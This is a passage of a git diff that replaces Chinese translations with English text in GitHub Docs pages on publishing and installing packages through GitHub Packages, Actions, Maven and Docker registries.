                    - 此步骤使用 docker/metadata-action 提取将应用于指定图像的标记和标签。 id "meta" 允许此步骤的输出在随后的步骤中被引用。 images 值提供标记和标签的基本名称。 + This step uses docker/metadata-action to extract tags and labels that will be applied to the specified image. The id "meta" allows the output of this step to be referenced in a subsequent step. The images value provides the base name for the tags and labels.
                    - 创建一个名为登录到 GitHub Docker 注册表的新步骤，以使用将发布包的帐户和密码登录到注册表。 发布后，包归此处定义的帐户所有。 + Creates a new step called Log in to GitHub Docker Registry, which logs in to the registry using the account and password that will publish the packages. Once published, the packages are owned by the account defined here.
                    - 创建名为构建并推送 Docker 映像的新步骤。 此步骤在 build-and-push-image 作业中运行。 + Creates a new step called Build and push Docker image. This step runs as part of the build-and-push-image job.
                    - 使用 Docker build-push-action 操作构建基于仓库的 Dockerfile 的映像。 如果构建成功，它会将映像推送到 {% data variables.product.prodname_registry %}。 + Uses the Docker build-push-action action to build the image, based on your repository's Dockerfile. If the build succeeds, it pushes the image to {% data variables.product.prodname_registry %}.
                    - 将所需参数发送到 build-push-action 操作。 这些将在后面的行中定义。 + Sends the required parameters to the build-push-action action. These are defined in the subsequent lines.
                    - 将构建的上下文定义为位于指定路径中的文件集。 更多信息请参阅“用法”。 + Defines the build's context as the set of files located in the specified path. For more information, see "Usage."
                    - 此映像如已成功构建，则推送至注册表。 + Pushes this image to the registry if it is built successfully.
                    - 添加在 "meta" 步骤中提取的标记和标签。 + Adds the tags and labels extracted in the "meta" step.
                    - 使用触发工作流程的提交的 SHA 标记映像。 + Tags the image with the SHA of the commit that triggered the workflow.
                    -每次将更改推送至仓库中名为 `release` 的分支时，这个新工作流程都会自动运行。 您可以在 **Actions（操作）**选项卡中查看进度。 +This new workflow will run automatically every time you push a change to a branch named `release` in the repository. You can view the progress in the **Actions** tab. -工作流程完成几分钟后，新包将在您的仓库中可见。 要查找可用的包，请参阅“[查看仓库的包](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)”。 +A few minutes after the workflow has completed, the new package will visible in your repository. To find your available packages, see "[Viewing a repository's packages](/packages/publishing-and-managing-packages/viewing-packages#viewing-a-repositorys-packages)." -## 使用操作安装包 +## Installing a package using an action -您可以使用 {% data variables.product.prodname_actions %} 将安装包作为 CI 流程的一部分。 例如，您可以配置一个工作流程：每当开发者向拉取请求推送代码时，该工作流程就会通过下载并安装 {% data variables.product.prodname_registry %} 托管的包来解析依赖项。 然后，该工作流程就可以运行需要这些依赖项的 CI 测试。 +You can install packages as part of your CI flow using {% data variables.product.prodname_actions %}. For example, you could configure a workflow so that anytime a developer pushes code to a pull request, the workflow resolves dependencies by downloading and installing packages hosted by {% data variables.product.prodname_registry %}. Then, the workflow can run CI tests that require the dependencies. -使用 `GITHUB_TOKEN` 时，通过 {% data variables.product.prodname_actions %} 安装 {% data variables.product.prodname_registry %} 托管的包只需极少的配置或额外身份验证。{% ifversion fpt or ghec %} 使用操作安装包时，数据传输也是免费的。 更多信息请参阅“[关于 {% data variables.product.prodname_registry %} 的计费](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)”。{% endif %} +Installing packages hosted by {% data variables.product.prodname_registry %} through {% data variables.product.prodname_actions %} requires minimal configuration or additional authentication when you use the `GITHUB_TOKEN`.{% ifversion fpt or ghec %} Data transfer is also free when an action installs a package. For more information, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."{% endif %} {% data reusables.package_registry.actions-configuration %} {% ifversion fpt or ghec %} -## 升级访问 `ghcr.io`的工作流程 +## Upgrading a workflow that accesses `ghcr.io` -{% data variables.product.prodname_container_registry %} 支持 `GITHUB_TOKEN` 在您的工作流程中进行简单和安全的身份验证。 如果您的工作流程使用个人访问令牌 (PAT) 向 `ghcr.io` 验证，我们强烈建议您更新工作流程以使用 `GITHUB_TOKEN`。 +The {% data variables.product.prodname_container_registry %} supports the `GITHUB_TOKEN` for easy and secure authentication in your workflows. If your workflow is using a personal access token (PAT) to authenticate to `ghcr.io`, then we highly recommend you update your workflow to use the `GITHUB_TOKEN`. -有关 `GITHUB_TOKEN` 的更多信息，请参阅“[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)”。 +For more information about the `GITHUB_TOKEN`, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)." -使用 `GITHUB_TOKEN` 而不是 PAT（包括 `repo` 范围），可提高仓库的安全性，因为您不需要使用长期 PAT，以免对运行工作流程的仓库提供不必要的访问权限。 有关安全最佳实践的更多信息，请参阅“[GitHub Actions 的安全强化](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)”。 +Using the `GITHUB_TOKEN` instead of a PAT, which includes the `repo` scope, increases the security of your repository as you don't need to use a long-lived PAT that offers unnecessary access to the repository where your workflow is run. For more information about security best practices, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-secrets)." -1. 导航到包登陆页面。 -1. 在左侧边栏中，单击 **Actions access（操作访问）**。 ![左侧菜单中的"Actions access（操作访问）"选项](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) -1. 为了确保您的容器包能够访问您的工作流程，您必须添加仓库，其中工作流程存储到您的容器。 单击 **Add repository（添加仓库）**并搜索要添加的仓库。 !["添加仓库"按钮](/assets/images/help/package-registry/add-repository-button.png) +1. Navigate to your package landing page. +1. In the left sidebar, click **Actions access**. + !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png) +1. To ensure your container package has access to your workflow, you must add the repository where the workflow is stored to your container. Click **Add repository** and search for the repository you want to add. + !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png) {% note %} - **注意：**通过 **Actions access（操作访问）**菜单选项将仓库添加到容器不同于将容器连接到仓库。 更多信息请参阅“[确保工作流程访问您的包](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)”和“[将仓库连接到包](/packages/learn-github-packages/connecting-a-repository-to-a-package)”。 + **Note:** Adding a repository to your container through the **Actions access** menu option is different than connecting your container to a repository. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)" and "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)." {% endnote %} -1. （可选）使用“role（角色）”下拉菜单，选择您希望仓库访问您的容器映像所必须拥有的默认访问权限。 ![授予仓库的权限访问级别](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) -1. 打开工作流程文件。 在您登录到 `ghcr.io` 的行上，将 PAT 替换为 {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}。 +1. Optionally, using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image. + ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png) +1. Open your workflow file. On the line where you log in to `ghcr.io`, replace your PAT with {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. -例如，此工作流程发布使用 {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} 进行身份验证的 Docker 映像。 +For example, this workflow publishes a Docker image using {% raw %}`${{ secrets.GITHUB_TOKEN }}`{% endraw %} to authenticate. ```yaml{:copy} name: Demo Push diff --git a/translations/zh-CN/content/packages/quickstart.md b/translations/zh-CN/content/packages/quickstart.md index df5837a6a6..6a158eb85f 100644 --- a/translations/zh-CN/content/packages/quickstart.md +++ b/translations/zh-CN/content/packages/quickstart.md @@ -1,37 +1,37 @@ --- -title: GitHub Packages 快速入门 -intro: '通过 {% data variables.product.prodname_actions %} 发布到 {% data variables.product.prodname_registry %}。' +title: Quickstart for GitHub Packages +intro: 'Publish to {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %}.' allowTitleToDifferFromFilename: true versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' -shortTitle: 快速入门 +shortTitle: Quickstart --- {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 简介 +## Introduction -在本指南中，您将创建 {% data variables.product.prodname_actions %} 工作流程来测试代码，然后将其发布到 {% data variables.product.prodname_registry %}。 +In this guide, you'll create a {% data variables.product.prodname_actions %} workflow to test your code and then publish it to {% data variables.product.prodname_registry %}. -## 发布包 +## Publishing your package -1. 在 {% data variables.product.prodname_dotcom %} 上创建新仓库，为节点添加 `.gitignore`。 {% ifversion ghes < 3.1 %} 如果您希望以后删除这个软件包，请创建私有仓库，公共软件包不能删除。{% endif %} 更多信息请参阅“[创建新仓库](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)”。 -2. 将仓库克隆到本机。 +1. Create a new repository on {% data variables.product.prodname_dotcom %}, adding the `.gitignore` for Node. {% ifversion ghes < 3.1 %} Create a private repository if you’d like to delete this package later, public packages cannot be deleted.{% endif %} For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)." +2. Clone the repository to your local machine. ```shell $ git clone https://{% ifversion ghae %}YOUR-HOSTNAME{% else %}github.com{% endif %}/YOUR-USERNAME/YOUR-REPOSITORY.git $ cd YOUR-REPOSITORY ``` -3. 创建 `index.js` 文件，并添加基本警报说 "Hello world!" +3. Create an `index.js` file and add a basic alert to say "Hello world!" {% raw %} ```javascript{:copy} alert("Hello, World!"); ``` {% endraw %} -4. 使用 `npm init` 初始化 npm 包。 在包初始化向导中，输入包名称：_`@YOUR-USERNAME/YOUR-REPOSITORY`_，将测试脚本设置为 `exit 0`。 这将生成一个 `package.json` 文件，其中包含关于您的包的信息。 +4. Initialize an npm package with `npm init`. In the package initialization wizard, enter your package with the name: _`@YOUR-USERNAME/YOUR-REPOSITORY`_, and set the test script to `exit 0`. This will generate a `package.json` file with information about your package. {% raw %} ```shell $ npm init @@ -42,15 +42,15 @@ shortTitle: 快速入门 ... ``` {% endraw %} -5. 运行 `npm install` 来生成 `package-lock.json` 文件，然后提交并将更改推送到 {% data variables.product.prodname_dotcom %}。 +5. Run `npm install` to generate the `package-lock.json` file, then commit and push your changes to {% data variables.product.prodname_dotcom %}. ```shell $ npm install $ git add index.js package.json package-lock.json $ git commit -m "initialize npm package" $ git push ``` -6. 创建 `.github/workflow` 目录。 在该目录中，创建一个名为 `release-package.yml` 的文件。 -7. 将以下 YAML 内容复制到 `release-package.yml` 文件{% ifversion ghae %}，将 `YOUR-HOSTNAME` 替换为企业的名称{% endif %}。 +6. Create a `.github/workflows` directory. In that directory, create a file named `release-package.yml`. +7. Copy the following YAML content into the `release-package.yml` file{% ifversion ghae %}, replacing `YOUR-HOSTNAME` with the name of your enterprise{% endif %}. ```yaml{:copy} name: Node.js Package @@ -86,14 +86,14 @@ shortTitle: 快速入门 env: NODE_AUTH_TOKEN: ${% raw %}{{secrets.GITHUB_TOKEN}}{% endraw %} ``` -8. 告诉 NPM 使用以下方法之一发布包的范围和注册表： - - 在根目录中创建包含以下内容的 `.npmrc` 文件，为仓库添加 NPM 配置文件： +8. Tell NPM which scope and registry to publish packages to using one of the following methods: + - Add an NPM configuration file for the repository by creating a `.npmrc` file in the root directory with the contents: {% raw %} ```shell @YOUR-USERNAME:registry=https://npm.pkg.github.com ``` {% endraw %} - - 编辑 `package.json` 文件，并指定 `publishConfig` 密钥： + - Edit the `package.json` file and specify the `publishConfig` key: {% raw %} ```shell "publishConfig": { @@ -101,7 +101,7 @@ shortTitle: 快速入门 } ``` {% endraw %} -9. 提交并推送更改到 {% data variables.product.prodname_dotcom %}。 +9. Commit and push your changes to {% data variables.product.prodname_dotcom %}. ```shell $ git add .github/workflows/release-package.yml # Also add the file you created or edited in the previous step. @@ -109,29 +109,29 @@ shortTitle: 快速入门 $ git commit -m "workflow to publish package" $ git push ``` -10. 只要您的仓库中创建新版本，您创建的工作流程就会运行。 如果测试通过，则包将发布到 {% data variables.product.prodname_registry %}。 +10. The workflow that you created will run whenever a new release is created in your repository. If the tests pass, then the package will be published to {% data variables.product.prodname_registry %}. + + To test this out, navigate to the **Code** tab in your repository and create a new release. For more information, see "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release)." - 要测试这一点，请导航到仓库中的 **Code（代码）**选项卡，并创建新版本。 更多信息请参阅“[管理仓库中的发行版](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release)”。 +## Viewing your published package -## 查看已发布的包 - -您可以查看您发布的所有软件包。 +You can view all of the packages you have published. {% data reusables.repositories.navigate-to-repo %} {% data reusables.package_registry.packages-from-code-tab %} {% data reusables.package_registry.navigate-to-packages %} -## 安装已发布的包 +## Installing a published package -现在，您已发布包，您需要使用它作为项目之间的依赖项。 更多信息请参阅“[使用 npm 注册表](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry#installing-a-package)”。 +Now that you've published the package, you'll want to use it as a dependency across your projects. For more information, see "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry#installing-a-package)." -## 后续步骤 +## Next steps -您刚刚添加的基本工作流程在仓库中创建新版本时运行。 但是，这只是您可以对 {% data variables.product.prodname_registry %} 执行操作的开始。 您可以使用单个工作流和将包发布到多个注册表，触发工作流程以在发生不同事件（如合并拉取请求、管理容器等）时运行。 +The basic workflow you just added runs any time a new release is created in your repository. But this is only the beginning of what you can do with {% data variables.product.prodname_registry %}. You can publish your package to multiple registries with a single workflow, trigger the workflow to run on different events such as a merged pull request, manage containers, and more. -合并 {% data variables.product.prodname_registry %} 和 {% data variables.product.prodname_actions %} 可以帮助您实现应用程序开发过程几乎每个方面的自动化。 准备好开始了吗？ 以下是一些有用的资源，可用于执行 {% data variables.product.prodname_registry %} 和 {% data variables.product.prodname_actions %} 的后续步骤： +Combining {% data variables.product.prodname_registry %} and {% data variables.product.prodname_actions %} can help you automate nearly every aspect of your application development processes. Ready to get started? Here are some helpful resources for taking your next steps with {% data variables.product.prodname_registry %} and {% data variables.product.prodname_actions %}: -- “[了解 {% data variables.product.prodname_registry %}](/packages/learn-github-packages)”，以获取 GitHub Packages 的深入教程 -- “[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”，以获取 GitHub Actions 的深入教程 -- 特定用例和示例的“[使用 {% data variables.product.prodname_registry %} 注册表](/packages/working-with-a-github-packages-registry)” +- "[Learn {% data variables.product.prodname_registry %}](/packages/learn-github-packages)" for an in-depth tutorial on GitHub Packages +- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" for an in-depth tutorial on GitHub Actions +- "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)" for specific uses cases and examples diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md index ea186b7fb2..a494c22c11 100644 --- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md +++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md @@ -1,6 +1,6 @@ --- -title: 使用 Apache Maven 注册表 -intro: '您可以配置 Apache Maven 以将包发布到 {% data variables.product.prodname_registry %} 并将存储在 {% data variables.product.prodname_registry %} 上的包用作 Java 项目中的依赖项。' +title: Working with the Apache Maven registry +intro: 'You can configure Apache Maven to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-apache-maven-for-use-with-github-package-registry @@ -13,36 +13,36 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Apache Maven 注册表 +shortTitle: Apache Maven registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -**注：**安装或发布 Docker 映像时，{% data variables.product.prodname_registry %} 当前不支持外部图层，如 Windows 映像。 +{% data reusables.package_registry.admins-can-configure-package-types %} -## 向 {% data variables.product.prodname_registry %} 验证 +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### 使用个人访问令牌进行身份验证 +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -通过编辑 *~/.m2/settings.xml* 文件以包含个人访问令牌，您可以使用 Apache Maven 向 {% data variables.product.prodname_registry %} 验证。 如果 *~/.m2/settings.xml* 文件不存在，请新建该文件。 +You can authenticate to {% data variables.product.prodname_registry %} with Apache Maven by editing your *~/.m2/settings.xml* file to include your personal access token. Create a new *~/.m2/settings.xml* file if one doesn't exist. -在 `servers` 标记中，添加带 `id` 的子 `server` 标记，将 *USERNAME* 替换为您的 {% data variables.product.prodname_dotcom %} 用户名，将 *TOKEN* 替换为您的个人访问令牌。 +In the `servers` tag, add a child `server` tag with an `id`, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, and *TOKEN* with your personal access token. -在 `repositories` 标记中，通过将仓库的 `id` 映射到您在包含凭据的 `server` 标记中添加的 `id` 来配置仓库。 将 {% ifversion ghes or ghae %}*HOSTNAME* 替换为 {% data variables.product.product_location %} 的主机名，并且{% endif %}将 *OWNER* 替换为拥有该仓库的用户或组织帐户的名称。 由于不支持大写字母，因此，即使您的 {% data variables.product.prodname_dotcom %} 用户或组织名称中包含大写字母，也必须对仓库所有者使用小写字母。 +In the `repositories` tag, configure a repository by mapping the `id` of the repository to the `id` you added in the `server` tag containing your credentials. Replace {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %}, and{% endif %} *OWNER* with the name of the user or organization account that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. -如果要与多个仓库交互，您可以将每个仓库添加到 `repository` 标记中独立的子 `repositories`，将每个仓库的 `id` 映射到 `servers` 标记中的凭据。 +If you want to interact with multiple repositories, you can add each repository to separate `repository` children in the `repositories` tag, mapping the `id` of each to the credentials in the `servers` tag. {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} {% ifversion ghes %} -有关创建包的更多信息，请参阅 [maven.apache.org 文档](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)。 +If your instance has subdomain isolation enabled: {% endif %} ```xml @@ -85,7 +85,7 @@ shortTitle: Apache Maven 注册表 ``` {% ifversion ghes %} -例如，*OctodogApp* 和 *OctocatApp* 项目将发布到同一个仓库： +If your instance has subdomain isolation disabled: ```xml ` 元素中包含该仓库的 URL。 {% data variables.product.prodname_dotcom %} 将根据该字段匹配仓库。 由于仓库名称也是 `distributionManagement` 元素的一部分，因此将多个包发布到同一个仓库无需额外步骤、 +If you would like to publish multiple packages to the same repository, you can include the URL of the repository in the `` element of the *pom.xml* file. {% data variables.product.prodname_dotcom %} will match the repository based on that field. Since the repository name is also part of the `distributionManagement` element, there are no additional steps to publish multiple packages to the same repository. -有关创建包的更多信息，请参阅 [maven.apache.org 文档](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)。 +For more information on creating a package, see the [maven.apache.org documentation](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). -1. 编辑位于包目录中的 *pom.xml* 文件的 `distributionManagement` 元素，将 {% ifversion ghes or ghae %}*HOSTNAME* 替换为 {% data variables.product.product_location %} 的主机名，将 {% endif %}`OWNER` 替换为拥有该仓库的用户或组织帐户的名称，并且将 `REPOSITORY` 替换为包含项目的仓库的名称。{% ifversion ghes %} +1. Edit the `distributionManagement` element of the *pom.xml* file located in your package directory, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %}, {% endif %}`OWNER` with the name of the user or organization account that owns the repository and `REPOSITORY` with the name of the repository containing your project.{% ifversion ghes %} - 如果您的实例启用了子域隔离功能：{% endif %} + If your instance has subdomain isolation enabled:{% endif %} ```xml @@ -158,19 +158,19 @@ shortTitle: Apache Maven 注册表 ```{% endif %} {% data reusables.package_registry.checksum-maven-plugin %} -1. 发布包。 +1. Publish the package. ```shell $ mvn deploy ``` {% data reusables.package_registry.viewing-packages %} -## 安装包 +## Installing a package -要从 {% data variables.product.prodname_registry %} 安装 Apache Maven 包，请编辑 *pom.xml* 文件以包含该包作为依赖项。 如果要从多个仓库安装包，请为每个仓库添加 `repository` 标记。 有关在项目中使用 *pom.xml* 文件的更多信息，请参阅 Apache Maven 文档中的“[POM 简介](https://maven.apache.org/guides/introduction/introduction-to-the-pom.html)”。 +To install an Apache Maven package from {% data variables.product.prodname_registry %}, edit the *pom.xml* file to include the package as a dependency. If you want to install packages from more than one repository, add a `repository` tag for each. For more information on using a *pom.xml* file in your project, see "[Introduction to the POM](https://maven.apache.org/guides/introduction/introduction-to-the-pom.html)" in the Apache Maven documentation. {% data reusables.package_registry.authenticate-step %} -2. 将包依赖项添加到项目 *pom.xml* 文件的 `dependencies` 元素，将 `com.example:test` 替换为您的包。 +2. Add the package dependencies to the `dependencies` element of your project *pom.xml* file, replacing `com.example:test` with your package. ```xml @@ -182,13 +182,13 @@ shortTitle: Apache Maven 注册表 ``` {% data reusables.package_registry.checksum-maven-plugin %} -3. 安装包。 +3. Install the package. ```shell $ mvn install ``` -## 延伸阅读 +## Further reading -- “[使用 Gradle 注册表](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry)” -- "{% ifversion fpt or ghes > 3.0 or ghec %}[删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[删除包](/packages/learn-github-packages/deleting-a-package){% endif %}" +- "[Working with the Gradle registry](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry)" +- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md index 5f576a9f25..e27195ffd4 100644 --- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md +++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md @@ -1,6 +1,6 @@ --- -title: 使用 Docker 注册表 -intro: '{% ifversion fpt or ghec %}Docker 注册表现已被 {% data variables.product.prodname_container_registry %} 取代。{% else %}您可以使用 {% data variables.product.prodname_registry %} Docker 注册表推送和拉取您的 Docker 映像，该注册表使用软件包命名空间 `https://docker.pkg.github.com`。{% endif %}' +title: Working with the Docker registry +intro: '{% ifversion fpt or ghec %}The Docker registry has now been replaced by the {% data variables.product.prodname_container_registry %}.{% else %}You can push and pull your Docker images using the {% data variables.product.prodname_registry %} Docker registry, which uses the package namespace `https://docker.pkg.github.com`.{% endif %}' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-docker-for-use-with-github-package-registry @@ -14,15 +14,15 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Docker 注册表 +shortTitle: Docker registry --- {% ifversion fpt or ghec %} -{% data variables.product.prodname_dotcom %} 的 Docker 注册表（使用命名空间 `docker.pkg.github.com`）已被 {% data variables.product.prodname_container_registry %} 取代（使用命名空间 `https://ghcr.io`）。 {% data variables.product.prodname_container_registry %} 为 Docker 映像提供粒度权限和存储优化等优点。 +{% data variables.product.prodname_dotcom %}'s Docker registry (which used the namespace `docker.pkg.github.com`) has been replaced by the {% data variables.product.prodname_container_registry %} (which uses the namespace `https://ghcr.io`). The {% data variables.product.prodname_container_registry %} offers benefits such as granular permissions and storage optimization for Docker images. -先前存储在 Docker 注册表中的 Docker 映像将自动迁移到 {% data variables.product.prodname_container_registry %}。 更多信息请参阅“[从 Docker 注册表迁移到 {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)”和“[使用 {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)”。 +Docker images previously stored in the Docker registry are being automatically migrated into the {% data variables.product.prodname_container_registry %}. For more information, see "[Migrating to the {% data variables.product.prodname_container_registry %} from the Docker registry](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)" and "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." {% else %} @@ -30,25 +30,25 @@ shortTitle: Docker 注册表 {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -**注：**安装或发布 Docker 映像时，{% data variables.product.prodname_registry %} 当前不支持外部图层，如 Windows 映像。 +{% data reusables.package_registry.admins-can-configure-package-types %} -## 关于 Docker 支持 +## About Docker support -安装或发布 Docker 映像时，Docker 注册表目前不支持外部层，例如 Windows 映像。 +When installing or publishing a Docker image, the Docker registry does not currently support foreign layers, such as Windows images. -## 向 {% data variables.product.prodname_registry %} 验证 +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### 使用个人访问令牌进行身份验证 +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -您可以使用 `docker` 登录命令，通过 Docker 向 {% data variables.product.prodname_registry %} 验证。 +You can authenticate to {% data variables.product.prodname_registry %} with Docker using the `docker` login command. -为确保凭据安全，我们建议您将个人访问令牌保存在您计算机上的本地文件中，然后使用 Docker 的 `--password-stdin` 标志从本地文件读取您的令牌。 +To keep your credentials secure, we recommend you save your personal access token in a local file on your computer and use Docker's `--password-stdin` flag, which reads your token from a local file. {% ifversion fpt or ghec %} {% raw %} @@ -60,7 +60,7 @@ shortTitle: Docker 注册表 {% ifversion ghes or ghae %} {% ifversion ghes %} -有关创建包的更多信息，请参阅 [maven.apache.org 文档](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)。 +If your instance has subdomain isolation enabled: {% endif %} {% raw %} ```shell @@ -68,7 +68,7 @@ shortTitle: Docker 注册表 ``` {% endraw %} {% ifversion ghes %} -例如，*OctodogApp* 和 *OctocatApp* 项目将发布到同一个仓库： +If your instance has subdomain isolation disabled: {% raw %} ```shell @@ -81,81 +81,81 @@ shortTitle: Docker 注册表 To use this example login command, replace `USERNAME` with your {% data variables.product.product_name %} username{% ifversion ghes or ghae %}, `HOSTNAME` with the URL for {% data variables.product.product_location %},{% endif %} and `~/TOKEN.txt` with the file path to your personal access token for {% data variables.product.product_name %}. -更多信息请参阅“[Docker 登录](https://docs.docker.com/engine/reference/commandline/login/#provide-a-password-using-stdin)”。 +For more information, see "[Docker login](https://docs.docker.com/engine/reference/commandline/login/#provide-a-password-using-stdin)." -## 发布映像 +## Publishing an image {% data reusables.package_registry.docker_registry_deprecation_status %} {% note %} -**注：**映像名称只能使用小写字母。 +**Note:** Image names must only use lowercase letters. {% endnote %} -{% data variables.product.prodname_registry %} 支持每个仓库的多个顶层 Docker 镜像。 仓库可以拥有任意数量的映像标记。 在发布或安装大于 10GB 的 Docker 映像（每个图层上限为 5GB）时，可能会遇到服务降级的情况。 更多信息请参阅 Docker 文档中的“[Docker 标记](https://docs.docker.com/engine/reference/commandline/tag/)”。 +{% data variables.product.prodname_registry %} supports multiple top-level Docker images per repository. A repository can have any number of image tags. You may experience degraded service publishing or installing Docker images larger than 10GB, layers are capped at 5GB each. For more information, see "[Docker tag](https://docs.docker.com/engine/reference/commandline/tag/)" in the Docker documentation. {% data reusables.package_registry.viewing-packages %} -1. 使用 `docker images` 确定 docker 映像的名称和 ID。 +1. Determine the image name and ID for your docker image using `docker images`. ```shell $ docker images > < > > REPOSITORY TAG IMAGE ID CREATED SIZE > IMAGE_NAME VERSION IMAGE_ID 4 weeks ago 1.11MB ``` -2. 使用 Docker 映像 ID、标记和 Docker 映像，将 *OWNER* 替换为拥有仓库的用户或组织帐户的名称，将 *REPOSITORY* 替换为包含项目的仓库的名称，将 *IMAGE_NAME* 替换为包或映像的名称，{% ifversion ghes or ghae %}将 *HOSTNAME* 替换为 {% data variables.product.product_location %} 的主机名，{% endif %}并将 *VERSION* 替换为构建时的包版本。 +2. Using the Docker image ID, tag the docker image, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image,{% ifversion ghes or ghae %} *HOSTNAME* with the hostname of {% data variables.product.product_location %},{% endif %} and *VERSION* with package version at build time. {% ifversion fpt or ghec %} ```shell $ docker tag IMAGE_ID docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% else %} {% ifversion ghes %} - 有关创建包的更多信息，请参阅 [maven.apache.org 文档](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)。 + If your instance has subdomain isolation enabled: {% endif %} ```shell - 如果尚未为包构建 docker 映像，请构建映像，将 OWNER 替换为拥有仓库的用户或组织帐户的名称，将 REPOSITORY 替换为包含项目的仓库的名称，将 IMAGE_NAME 替换为包或映像的名称，将 VERSION 替换为构建时的包版本，将 PATH 替换为映像路径（如果映像未在当前工作目录中）。 + $ docker tag IMAGE_ID docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% ifversion ghes %} - 例如，*OctodogApp* 和 *OctocatApp* 项目将发布到同一个仓库： + If your instance has subdomain isolation disabled: ```shell $ docker tag IMAGE_ID HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION ``` {% endif %} {% endif %} -3. 如果尚未为包构建 docker 映像，请构建映像，将 *OWNER* 替换为拥有仓库的用户或组织帐户的名称，将 *REPOSITORY* 替换为包含项目的仓库的名称，将 *IMAGE_NAME* 替换为包或映像的名称，将 *VERSION* 